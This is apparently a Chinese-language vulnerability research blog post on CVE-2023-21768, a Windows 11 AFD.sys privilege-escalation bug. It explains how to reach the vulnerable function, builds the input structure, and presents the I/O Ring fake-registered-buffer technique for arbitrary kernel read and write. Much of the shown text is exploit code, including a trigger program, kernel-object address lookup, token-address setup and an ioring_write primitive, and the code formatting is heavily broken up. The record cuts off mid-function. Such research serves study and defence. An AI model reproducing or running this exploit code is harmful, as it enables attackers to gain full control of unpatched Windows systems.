对最近的一个Windows提权洞进行分析,漏洞点不是很难,相比于之前分析的CVE-2021-1732,过程还简单一些,主要是学习I/O Ring这种读写原语,感觉后续微软可能会对I/O Ring的预注册输出缓冲区进行一些调整修改。还有就是分析过程中,结合chatGPT,感觉是一个不错的方法。
镜像下载:ed2k://|file|zh-cn_windows_11_consumer_editions_version_22h2_updated_nov_2022_x64_dvd_2c7e96c3.iso|5673539584|EB8FF2B481BB6AFE71B2784C6485733B|/
安装镜像就不用多说,网上教程很多,这里需要注意的是exp的编译,由于提权过程中使用到的某些技术,我们需要Visual Studio 2022,并且安装较高版本的win11 SDK,我这里是Windows 11 SDK (10.0.22621.0)
1
2
3
4
5
6
7
8
AFD.sys是Windows操作系统中的一个系统文件,是关于网络协议的文件,主要负责Winsock核心服务的实现和运行。Winsock是Windows下网络协议的一个API,通过它应用程序可以访问网络,AFD.sys则是其中实现的核心服务。具体来说,它提供了以下功能:
1.
网络数据的传输和接收;
2.
网络套接字的创建、连接、监听等操作;
3.
实现了对TCP
/
IP和UDP
/
IP等网络协议的支持;
4.
管理和维护网络缓存。
简而言之,AFD.sys是Windows网络协议栈的一个核心部分,负责管理和协调网络通信的各项操作。
根据后面的分析来看,简单讲就是AFD.sys的一个函数afd!AfdNotifyRemoveIoCompletion中出现了漏洞,存在我们可控制的变量,并且还有赋值操作,当我们构造的变量是一个地址的话,就可以将想设置的值赋值到对应的地址空间中,当然想进一步利用,实现提权,还需要其他的技术。
要利用这个漏洞,首先我们需要知道如何到达漏洞点,通过交叉引用,可以发现调用链是这样的AfdFastIoDeviceControl-->AfdNotifySock-->AfdNotifyRemoveIoCompletion()
关键是搞懂AfdFastIoDeviceControl-->AfdNotifySock,我们对AfdNotifySock进行交叉引用,会发现两个表,AfdImmediateCallDispatch
和AfdIrpCallDispatch
,这两个表里面的函数都是AFD驱动程序的调度函数。
接着对AfdImmediateCallDispatch
进行交叉引用,我们将在AfdFastIoDeviceControl()函数中看到下面的代码,实际上对AfdIrpCallDispatch
进行交叉引用,也会在其对应的函数看到类似的代码。
所以我们可以通过代码中的AfdIoctlTable
去获取自定义的控制信号,前面我们已经知道AfdNotifySock
在AfdImmediateCallDispatch
表中的下标是73,通过下面的图片可以知道对应的控制信号是12127h。
庆幸的是x86matthew(一直比较关注的一个国外师傅,经常发布一些创新性的代码)曾经发布了一些代码,其原本是绕过Winsock的API函数,采用NtCreateFile和NtDeviceIoControlFile来进行AFD驱动程序通信,目的为了网络通信的隐蔽性,不容易被检测,但是我们可以借鉴里面的一些代码,方便我们调试AfdIoctlTable,了解如何触发漏洞。
编写的测试代码如下,由于我们不知道传入数据是啥,所以直接传入一些字符串AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
struct IO_STATUS_BLOCK
{
union
{
DWORD Status;
PVOID Pointer;
};
DWORD
*
Information;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR
Buffer
;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING
*
ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
DWORD(WINAPI
*
NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID
*
ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK
*
IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI
*
NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES
*
ObjectAttributes, IO_STATUS_BLOCK
*
IoStatusBlock, LARGE_INTEGER
*
AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
int
main()
{
/
/
get NtDeviceIoControlFile function ptr
NtDeviceIoControlFile
=
(unsigned
long
(__stdcall
*
)(void
*
, void
*
, void
*
, void
*
, struct IO_STATUS_BLOCK
*
, unsigned
long
, void
*
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandle(
"ntdll.dll"
),
"NtDeviceIoControlFile"
);
if
(NtDeviceIoControlFile
=
=
NULL)
{
return
1
;
}
/
/
get NtCreateFile function ptr
NtCreateFile
=
(unsigned
long
(__stdcall
*
)(void
*
*
, unsigned
long
, struct OBJECT_ATTRIBUTES
*
, struct IO_STATUS_BLOCK
*
, union _LARGE_INTEGER
*
, unsigned
long
, unsigned
long
, unsigned
long
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandle(
"ntdll.dll"
),
"NtCreateFile"
);
if
(NtCreateFile
=
=
NULL)
{
return
1
;
}
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent
=
NULL;
HANDLE hSocket
=
NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus
=
0
;
BYTE bExtendedAttributes[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0F
,
0x1E
,
0x00
,
0x41
,
0x66
,
0x64
,
0x4F
,
0x70
,
0x65
,
0x6E
,
0x50
,
0x61
,
0x63
,
0x6B
,
0x65
,
0x74
,
0x58
,
0x58
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x06
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x60
,
0xEF
,
0x3D
,
0x47
,
0xFE
};
char Data[
0x30
]
=
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL"
;
/
/
create status event
hEvent
=
CreateEvent(NULL,
0
,
0
, NULL);
if
(hEvent
=
=
NULL)
{
/
/
error
return
1
;
}
/
/
set
afd endpoint path
memset((void
*
)&ObjectFilePath,
0
, sizeof(ObjectFilePath));
ObjectFilePath.
Buffer
=
(PWSTR)L
"\\Device\\Afd\\Endpoint"
;
ObjectFilePath.Length
=
wcslen(ObjectFilePath.
Buffer
)
*
sizeof(wchar_t);
ObjectFilePath.MaximumLength
=
ObjectFilePath.Length;
/
/
initialise
object
attributes
memset((void
*
)&ObjectAttributes,
0
, sizeof(ObjectAttributes));
ObjectAttributes.Length
=
sizeof(ObjectAttributes);
ObjectAttributes.ObjectName
=
&ObjectFilePath;
ObjectAttributes.Attributes
=
0x40
;
/
/
create socket handle
IoStatusBlock.Status
=
0
;
IoStatusBlock.Information
=
NULL;
dwStatus
=
NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL,
0
, FILE_SHARE_READ | FILE_SHARE_WRITE,
1
,
0
, bExtendedAttributes, sizeof(bExtendedAttributes));
if
(dwStatus !
=
0
)
{
/
/
error
CloseHandle(hEvent);
return
1
;
}
/
*
__kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
[
in
] HANDLE FileHandle,
[
in
, optional] HANDLE Event,
[
in
, optional] PIO_APC_ROUTINE ApcRoutine,
[
in
, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[
in
] ULONG IoControlCode,
[
in
, optional] PVOID InputBuffer,
[
in
] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[
in
] ULONG OutputBufferLength
);
*
/
NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data,
0x30
, NULL,
0
);
if
(INVALID_HANDLE_VALUE !
=
hSocket)
{
CloseHandle(hSocket);
}
if
(NULL !
=
hEvent)
{
CloseHandle(hEvent);
}
}
1
2
3
4
5
6
7
if
( InputBufferLength !
=
0x30
|| OutputBufferLength )
{
v10
=
0xC0000004
;
goto LABEL_45;
/
/
bad
}
if
( OutputBuffer )
goto LABEL_5;
/
/
bad
继续调试,发现对InputBuffer
的一些值进行了判断,并且将*(void **)_InputBuffer
传入了 ObReferenceObjectByHandle()
函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
if
( !
*
(_DWORD
*
)(
*
(_QWORD
*
)&_InputBuffer
+
32i64
) )
goto bad1;
if
(
*
(_DWORD
*
)(
*
(_QWORD
*
)&_InputBuffer
+
0x28i64
) )
{
if
( !
*
(_QWORD
*
)(
*
(_QWORD
*
)&_InputBuffer
+
24i64
) || !
*
(_QWORD
*
)(
*
(_QWORD
*
)&_InputBuffer
+
16i64
) )
goto bad1;
}
else
if
(
*
(_QWORD
*
)(
*
(_QWORD
*
)&_InputBuffer
+
16i64
) ||
*
(_DWORD
*
)(
*
(_QWORD
*
)&_InputBuffer
+
36i64
) )
{
bad1:
ret
=
0xC000000D
;
goto bad;
}
所以我们需要对InputBuffer的一些值进行设置,最好是搞个结构体,通过整个函数中出现InputBuffer,可得到下面的结构体,我们可以将其导入ida,让伪代码更加清晰。
1
2
3
4
5
6
7
8
9
10
11
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE HandleIoCompletion;
PVOID pData1;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwLen;
char lol[
0x4
];
}AFD_NOTIFYSOCK_DATA;
绕过if的一些值的判断是简单的,重点是如何绕过ObReferenceObjectByHandle()
,其返回值必须>=0,这里可以去问问chatGPT,大部分情况下,可以提供非常有效的帮助。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
问:如果第三个参数是IoCompletionObjectType呢 这个对象类型的句柄可以调用什么函数来创建
答:IO完成对象是Windows内核中的一种同步机制,它用于通知应用程序有关操作完成的消息。IO完成对象是由操作系统内核自动创建和管理的,因此没有专门的函数来创建它们。在Windows操作系统中,可以使用CreateIoCompletionPort函数将IO完成端口与文件句柄关联,从而将IO操作通知到IO完成对象中。关联之后,可以使用GetQueuedCompletionStatus函数等待IO完成对象,以获取IO操作完成的状态和相关数据。因此,IO完成对象的句柄实际上是IO完成端口的句柄,可以使用CreateIoCompletionPort函数创建。
CreateIoCompletionPort是Win32 API之一,底层实现是由Windows内核的NTOSKRNL.EXE模块提供支持,具体实现可参考Windows Driver Kit(WDK)提供的内核模式驱动开发文档。其底层函数是NtCreateIoCompletion,该函数是内核发起IO请求的函数之一,用于创建IO完成端口对象并返回其句柄。它的定义如下:
```C
NTSYSAPI
NTSTATUS
NTAPI
NtCreateIoCompletion(
_Out_ PHANDLE IoCompletionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG NumberOfConcurrentThreads
);
```
其中,
-
IoCompletionHandle:用于返回IO完成端口对象的句柄。
-
DesiredAccess:指定IO完成端口对象的访问权限。
-
ObjectAttributes:用于指定IO完成端口对象的名称及其属性。
-
NumberOfConcurrentThreads:指定IO请求的并发线程数。
OK,根据其回答来看,应该是可以通过CreateIoCompletionPort或者NtCreateIoCompletion函数来创建有效的IO完成对象的句柄,从而绕过ObReferenceObjectByHandle()
。
然后就可以到达AfdNotifyRemoveIoCompletion()
了,其参数是一个数,IoCompletionObject,InputBuffer,目前我们的Data如下,Data.pData2 还未出现,4byte,目前来说不为空即可,但是根据结构体的定义,将其设置为一个地址。
1
2
3
4
5
6
Data.HandleIoCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
&test;
/
/
一个地址
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.pPwnPtr
=
&test;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
`IoRemoveIoCompletion`是Windows Driver Kit(WDK)提供的函数,用于将已完成的I
/
O操作从I
/
O完成端口的完成队列中移除并返回。
该函数的原型如下:
```c
NTSTATUS IoRemoveIoCompletion(
HANDLE CompletionPortHandle,
PVOID
*
KeyContext,
PVOID
*
ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER Timeout
);
```
其中,参数的含义如下:
-
`CompletionPortHandle`:对应I
/
O完成端口的句柄。
-
`KeyContext`:指向指针的指针,用于获取与已完成I
/
O操作相关联的关键上下文。
-
`ApcContext`:指向指针的指针,用于获取与已完成I
/
O操作相关联的应用程序上下文。
-
`IoStatusBlock`:指向`IO_STATUS_BLOCK`结构的指针,用于获取已完成I
/
O操作的状态信息。
-
`Timeout`:可选参数,指向`LARGE_INTEGER`结构的指针,用于指定函数等待的超时时间。如果为`NULL`,函数将不会等待,并立即返回。
该函数用于从I
/
O完成端口的完成队列中删除已完成的I
/
O操作并获取相关信息,以便驱动程序进行后续处理,例如通知相关进程
/
线程或启动下一轮I
/
O操作。
需要注意的是,I
/
O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I
/
O操作。
1
2
3
4
5
6
7
8
9
10
11
12
问:如何向I
/
O完成端口的完成队列中添加已完成的I
/
O操作,有那些函数
答:
在Windows平台下,如果您想要向I
/
O完成端口的完成队列中添加已完成的I
/
O操作,您可以使用以下函数:
1.
`NtSetIoCompletion`:该函数是Windows系统调用之一,可将已完成的I
/
O操作添加到指定的I
/
O完成端口的完成队列中。该函数适用于用户模式程序使用的I
/
O完整端口。
2.
`IoSetIoCompletion`:该函数是Windows驱动程序开发包(WDK)中的一部分,与`NtSetIoCompletion`函数相似。驱动程序可以使用该函数将I
/
O操作添加到指定的I
/
O完成端口的完成队列中。该函数适用于驱动程序中使用的I
/
O完整端口。
这两个函数的作用类似,它们都用于将已完成的I
/
O操作添加到指定的I
/
O完成端口的完成队列中。这些函数调用后,I
/
O管理器将在IRP的调用线程上调用已完成I
/
O请求的完成例程。
需要注意的是,I
/
O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I
/
O操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
NtSetIoCompletion 是 Windows 操作系统内核中的一个函数,用于向 I
/
O 完成端口的完成队列中添加一个 I
/
O 完成包。该函数通常在内核模式下使用,用于驱动程序或其他内核组件实现异步 I
/
O 操作。
NtSetIoCompletion 函数的原型如下:
scss
Copy code
NTSTATUS NtSetIoCompletion(
HANDLE CompletionPortHandle,
ULONG_PTR CompletionKey,
PVOID CompletionContext,
NTSTATUS Status,
ULONG_PTR Information
);
该函数的输入参数包括:
CompletionPortHandle:I
/
O 完成端口的句柄。
CompletionKey:一个与已完成的 I
/
O 操作相关联的键值,由驱动程序在创建完成端口时指定。
CompletionContext:一个指向完成操作的上下文数据结构的指针,包含有关已完成的 I
/
O 操作的信息。
Status:已完成操作的状态,通常是一个 NTSTATUS 类型的值。
Information:与已完成的 I
/
O 操作相关的信息,通常是一个 ULONG_PTR 类型的值。
NtSetIoCompletion 函数的返回值是 NTSTATUS 类型的错误代码,如果操作成功完成,则返回 STATUS_SUCCESS。
使用 NtSetIoCompletion 函数将完成包添加到 I
/
O 完成端口的完成队列中后,可以使用 IoRemoveIoCompletion 函数从队列中取出完成包并处理已完成的 I
/
O 操作。这种机制使得驱动程序或其他内核组件能够实现异步 I
/
O 操作,从而提高系统的响应速度和性能。
1
2
3
4
5
6
7
8
9
10
NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL,
1
);
NtSetIoCompletion(hCompletion,
0
, &IoStatusBlock,
0
,
0x100
);
Data.HandleIoCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.dwTimeout
=
1000
;
Data.pPwnPtr
=
&test;
目前已经解决了关于如何到达漏洞点的问题,但是如何设置我们想要的值呢,根据afd!AfdNotifyRemoveIoCompletion
的分析来看,貌似writevalue是由IoRemoveIoCompletion这个函数来决定的,所以我们需要对这个函数进行分析。
这个函数的作用是让等待队列中的线程或进程不再等待,可以继续执行。如果函数成功地将线程或进程从等待队列中移除,则返回不为0的值;否则,返回0。需要注意的是,一旦线程或进程从等待队列中移除,它的状态会发生变化,后续操作需要根据具体情况而定。
在阅读完相关的资料后,可以感受到Yarden Shafir花费了大量的时间到I/O Ring的逆向研究中,下面我将以简略的方式,讲述下这个技术的原理,由于本人技术有限,如有错误,请谅解。
每一个NT_IORING_SQE,都代表着一个I/O操作,目前支持的I/O操作如下,这些操作都会有一个操作码,可通过逆向工程获取,ioringapi.h头文件也包含了。
此技术使用的就是预注册输出缓冲区文件读写,其设计到的函数有BuildIoRingReadFile(),BuildIoRingRegisterBuffers(),BuildIoRingWriteFile(),如果想去了解其他的操作,可以自己根据文档编写相应的代码去学习。
这里我为了更好的理解原理,我打算编写一个正常使用API函数实现预注册输出缓冲区文件读写的代码,然后和不正常的方法进行对比,根据文档以及chatGPT,编写了相应功能的代码,实现了两个功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
HIORING handle
=
NULL;
void RegisterBuffersfileReadWrite()
{
HRESULT result;
IORING_CREATE_FLAGS flags;
IORING_BUFFER_INFO
*
buffers;
unsigned
int
count
=
2
;
UINT32 submittedEntries;
/
/
创建一个IORING
flags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory
=
IORING_CREATE_ADVISORY_FLAGS_NONE;
result
=
CreateIoRing(IORING_VERSION_3, flags,
0x10000
,
0x20000
, &handle);
if
(!SUCCEEDED(result))
{
printf(
"Failed creating IO ring handle: 0x%x\n"
, result);
return
;
}
/
/
预注册输出缓冲区,两个
buffers
=
(IORING_BUFFER_INFO
*
)VirtualAlloc(NULL, sizeof(IORING_BUFFER_INFO)
*
count, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
buffers[
0
].Address
=
(void
*
)VirtualAlloc(NULL,
0x20
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
buffers[
0
].Length
=
0x20
;
buffers[
1
].Address
=
(void
*
)VirtualAlloc(NULL,
0x10
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(buffers[
1
].Address,
"ABC"
,
0x3
);
buffers[
1
].Length
=
0x10
;
BuildIoRingRegisterBuffers(handle,
2
, buffers,
0
);
/
/
获取文件句柄
HANDLE hFile
=
CreateFile(
"C:\\Users\\25077\\Desktop\\test\\ioRing.txt"
, GENERIC_READ | GENERIC_WRITE,
0
, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if
(hFile
=
=
INVALID_HANDLE_VALUE) {
printf(
"Failed to open file. Error code: %d\n"
, GetLastError());
return
;
}
IORING_HANDLE_REF requestDataFile
=
IoRingHandleRefFromHandle(hFile);
/
/
用第一个来读
IORING_BUFFER_REF requestDataBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
result
=
BuildIoRingReadFile(handle,requestDataFile, requestDataBuffer,
0x10
,
0
,NULL, IOSQE_FLAGS_NONE);
if
(!SUCCEEDED(result))
{
printf(
"Failed building IO ring read file structure: 0x%x\n"
, result);
return
;
}
/
/
用第二个来写
requestDataBuffer
=
IoRingBufferRefFromIndexAndOffset(
1
,
0
);
result
=
BuildIoRingWriteFile(handle, requestDataFile, requestDataBuffer,
0x10
,
0x3
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(!SUCCEEDED(result))
{
printf(
"Failed building IO ring Write file structure: 0x%x\n"
, result);
return
;
}
/
/
提交
result
=
SubmitIoRing(handle,
0
,
0
,
0
);
if
(!SUCCEEDED(result))
{
printf(
"Failed submitting IO ring: 0x%x\n"
, result);
return
;
}
/
/
打印读取到的数据
printf(
"%s"
, buffers[
0
].Address);
if
(handle !
=
NULL)
{
CloseIoRing(handle);
}
if
(hFile)
{
CloseHandle(hFile);
}
VirtualFree(buffers[
0
].Address,
0x20
, MEM_RELEASE);
VirtualFree(buffers[
1
].Address,
0x10
, MEM_RELEASE);
}
int
main()
{
RegisterBuffersfileReadWrite();
}
接下来先看我们CreateIoRing创建IORING时,会创造的两个结构,这些都是Yarden Shafir通过逆向工程获取到的,我用chatGPT给参数注释了下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct _IORING_OBJECT
{
USHORT
Type
;
/
/
结构体类型
USHORT Size;
/
/
结构体大小
NT_IORING_INFO UserInfo;
/
/
包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
PVOID Section;
/
/
内存映射文件Section对象的指针
PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;
/
/
存储IO请求的Submission Queue的指针
PMDL CompletionQueueMdl;
/
/
缓存Completion Queue的MDL的指针
PNT_IORING_COMPLETION_QUEUE CompletionQueue;
/
/
存储IO请求完成状态的Completion Queue的指针
ULONG64 ViewSize;
/
/
映射视图的大小
ULONG InSubmit;
/
/
IO请求的数量
ULONG64 CompletionLock;
/
/
保护计数器的锁,在读取CQring时使用
ULONG64 SubmitCount;
/
/
已提交IO请求SQEs的数量
ULONG64 CompletionCount;
/
/
已完成的IO请求数量
ULONG64 CompletionWaitUntil;
/
/
等待完成IO请求的时间,当完成请求缓存区被解锁时使用
KEVENT CompletionEvent;
/
/
内核事件,在IO请求完成时发出
UCHAR SignalCompletionEvent;
/
/
是否使用信号量发出完成事件的标志
PKEVENT CompletionUserEvent;
/
/
一个与CompletionEvent成分的用户事件。用户可以使用此事件来通知一个或多个等待线程,IO请求已完成。
ULONG RegBuffersCount;
/
/
注册的缓冲区数量
PVOID RegBuffers;
/
/
已注册的缓冲区列表的指针
ULONG RegFilesCount;
/
/
(异步)读取操作所涉及的文件句柄的数量
PVOID
*
RegFiles;
/
/
(异步)读取操作所涉及的文件句柄列表的指针
} IORING_OBJECT,
*
PIORING_OBJECT;
1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _HIORING
{
HANDLE handle;
/
/
IO环操作对象的句柄
NT_IORING_INFO Info;
/
/
包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
ULONG IoRingKernelAcceptedVersion;
/
/
内核支持的IO环版本号
PVOID RegBufferArray;
/
/
注册缓冲区的指针,用于注册IO缓冲区
ULONG BufferArraySize;
/
/
注册缓冲区的大小
PVOID Unknown;
/
/
未知指针,可能提供额外的信息
ULONG FileHandlesCount;
/
/
IO环管理的文件句柄数量
ULONG SubQueueHead;
/
/
IO环子队列的头部索引
ULONG SubQueueTail;
/
/
IO环子队列的尾部索引
} _HIORING;
根据Yarden Shafir的研究发现,或许我们可以不调用BuildIoRingRegisterBuffers()去注册缓冲区,如果我们能直接控制注册缓冲区的指针(IoRing->RegBuffers)直接指向我们自己的一个假缓冲区,也可以被认为我们注册了缓冲区,然后再控制列表当中的Address地址为内核的地址,再结合读写文件,就可以做到任意内核地址读写,并且这种并不会被探测,如果缓冲区在注册时是安全的,然后复制到内核分配,那么当它们作为操作的一部分被引用时它们仍然是安全的,这些肯定都是逆向工程那些函数得出的结论,如果十分感兴趣,自己也可以逆着玩。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT
Type
;
/
/
结构体类型
USHORT Reserved;
/
/
保留字段
ULONG Size;
/
/
结构体大小
ULONG ReferenceCount;
/
/
结构体引用计数
ULONG Flags;
/
/
标志位
LIST_ENTRY GlobalDataLink;
/
/
全局数据链接列表
PVOID Address;
/
/
缓冲区的地址
ULONG Length;
/
/
缓冲区的长度
CHAR AccessMode;
/
/
缓冲区的访问模式
ULONG MdlRef;
/
/
缓冲区的MDL引用数
PMDL Mdl;
/
/
缓冲区的MDL
KEVENT MdlRundownEvent;
/
/
缓冲区的MDL结束事件
PULONG64 PfnArray;
/
/
物理页帧号数组的指针
IOP_MC_BE_PAGE_NODE PageNodes[
1
];
/
/
物理页节点数组
} IOP_MC_BUFFER_ENTRY,
*
PIOP_MC_BUFFER_ENTRY;
1
2
3
4
5
6
mcBufferEntry
-
>Address
=
TargetAddress;
mcBufferEntry
-
>Length
=
Length;
mcBufferEntry
-
>
Type
=
0xc02
;
mcBufferEntry
-
>Size
=
0x80
;
/
/
0x20
*
(numberOfPagesInBuffer
+
3
)
mcBufferEntry
-
>AccessMode
=
1
;
mcBufferEntry
-
>ReferenceCount
=
1
;
然后我发现内核的这个缓冲区结构貌似和我们正常调用BuildIoRingRegisterBuffers()的不一样,前者是指针数组,后者是结构体数组,可能是内核和用户层有所区别吧。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int
getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int
ret
=
-
1
;
PSYSTEM_HANDLE_INFORMATION pHandleInfo
=
NULL;
ULONG ulBytes
=
0
;
NTSTATUS ntStatus
=
STATUS_SUCCESS;
while
((ntStatus
=
NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes))
=
=
STATUS_INFO_LENGTH_MISMATCH)
{
if
(pHandleInfo !
=
NULL)
{
pHandleInfo
=
(PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo,
2
*
ulBytes);
}
else
{
pHandleInfo
=
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
2
*
ulBytes);
}
}
if
(ntStatus !
=
STATUS_SUCCESS)
{
ret
=
ntStatus;
goto done;
}
for
(ULONG i
=
0
; i < pHandleInfo
-
>NumberOfHandles; i
+
+
)
{
if
((pHandleInfo
-
>Handles[i].UniqueProcessId
=
=
ulPid) && (pHandleInfo
-
>Handles[i].HandleValue
=
=
handle))
{
*
ppObjAddr
=
pHandleInfo
-
>Handles[i].
Object
;
ret
=
0
;
break
;
}
}
done:
if
(NULL !
=
pHandleInfo)
{
HeapFree(GetProcessHeap,
0
, pHandleInfo);
}
return
ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BOOL
Init_CVE_2023_21768()
{
_NtCreateFile
=
(unsigned
long
(__stdcall
*
)(PHANDLE, unsigned
long
, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned
long
, unsigned
long
, unsigned
long
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtCreateFile"
);
_NtDeviceIoControlFile
=
(unsigned
long
(__stdcall
*
)(HANDLE, void
*
, void
*
, void
*
, PIO_STATUS_BLOCK, unsigned
long
, void
*
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtDeviceIoControlFile"
);
_NtCreateIoCompletion
=
(unsigned
long
(__stdcall
*
)(PHANDLE, unsigned
long
, POBJECT_ATTRIBUTES, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtCreateIoCompletion"
);
_NtSetIoCompletion
=
(unsigned
long
(__stdcall
*
)(HANDLE, unsigned
long
, PIO_STATUS_BLOCK, NTSTATUS, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtSetIoCompletion"
);
_NtQuerySystemInformation
=
(unsigned
long
(__stdcall
*
)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQuerySystemInformation"
);
if
(_NtSetIoCompletion
=
=
NULL|| _NtDeviceIoControlFile
=
=
NULL|| _NtCreateFile
=
=
NULL|| _NtCreateIoCompletion
=
=
NULL)
{
printf(
"get function false "
);
return
FALSE;
}
ioring_init(&pIoRing);
File_init();
FakeRegisterBuffers_init();
TokenAddr_init();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
